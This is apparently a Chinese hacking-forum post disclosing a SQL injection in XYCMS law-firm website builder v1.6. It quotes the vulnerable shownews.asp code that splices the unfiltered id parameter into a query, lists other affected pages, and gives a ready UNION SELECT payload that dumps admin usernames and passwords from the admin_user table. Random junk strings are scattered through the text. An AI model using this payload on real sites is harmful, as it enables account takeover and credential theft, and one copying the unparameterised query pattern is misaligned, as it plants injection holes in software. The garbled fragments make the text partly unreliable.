XYCMS律师事务所建站系统注入漏洞

admin

前言：刚才蛋疼无聊下载了审计下,就稍微的看了下，漏洞太多。ps：跟有个投稿的板块文章有点类似
# V+ b. _3 A, ^  Z; g/ n' v
淫荡分割线
# H* J, e* q8 w* m% v, Z+ F8 y--------------------------------------------------------
6 x9 M( d9 [- A6 B. {5 G
# M, Z) S0 \" F& ^3 y/ f. }, ^审计版本：XYCMS律师事务所建站系统 v1.6(其他版本自测)
源码地址:http://down.chinaz.com/soft/29233.htm
) I# W0 @4 ~& E* b$ s8 Q
漏洞文件:shownews.asp
漏洞代码：7-13行
) V0 u( E8 m7 h, O7 a

! v$ G: K, ^- j<%
4 C% m7 p1 c, a1 g6 _8 qid=request.QueryString("id")
   
* i7 k# D+ ~% Q: W- T' q: }set snews=server.createobject("adodb.recordset")
exec="select * from [news] where id="&id
2 S9 x. C6 }7 ]7 q' j- ]* \/ jsnews.open exec,conn,1,1
! x0 d. N5 b. c* H) W# j  q%>
# X8 {9 g' \& {: D  Y
) \- A; l6 L6 L/ x, f
- H, V$ a3 Z5 B3 Z7 W什么过滤都没有  直造成注入
: [3 w4 C5 P. _4 w3 j
注入点:http://127.0.0.1:99/shownews.asp?id=xx

其余相同漏洞文件:showdxal.asp,showfwly.asp 等等自己找

& D+ n, T8 S2 p* j" A
. J2 f7 X, \" b6 \exp: union select 1,admin,password,4,5,7 from admin_user
3 [0 ~" {) R  a$ r% `' ]4 q, A1 U​
9 @. K- D/ @5 O& \! }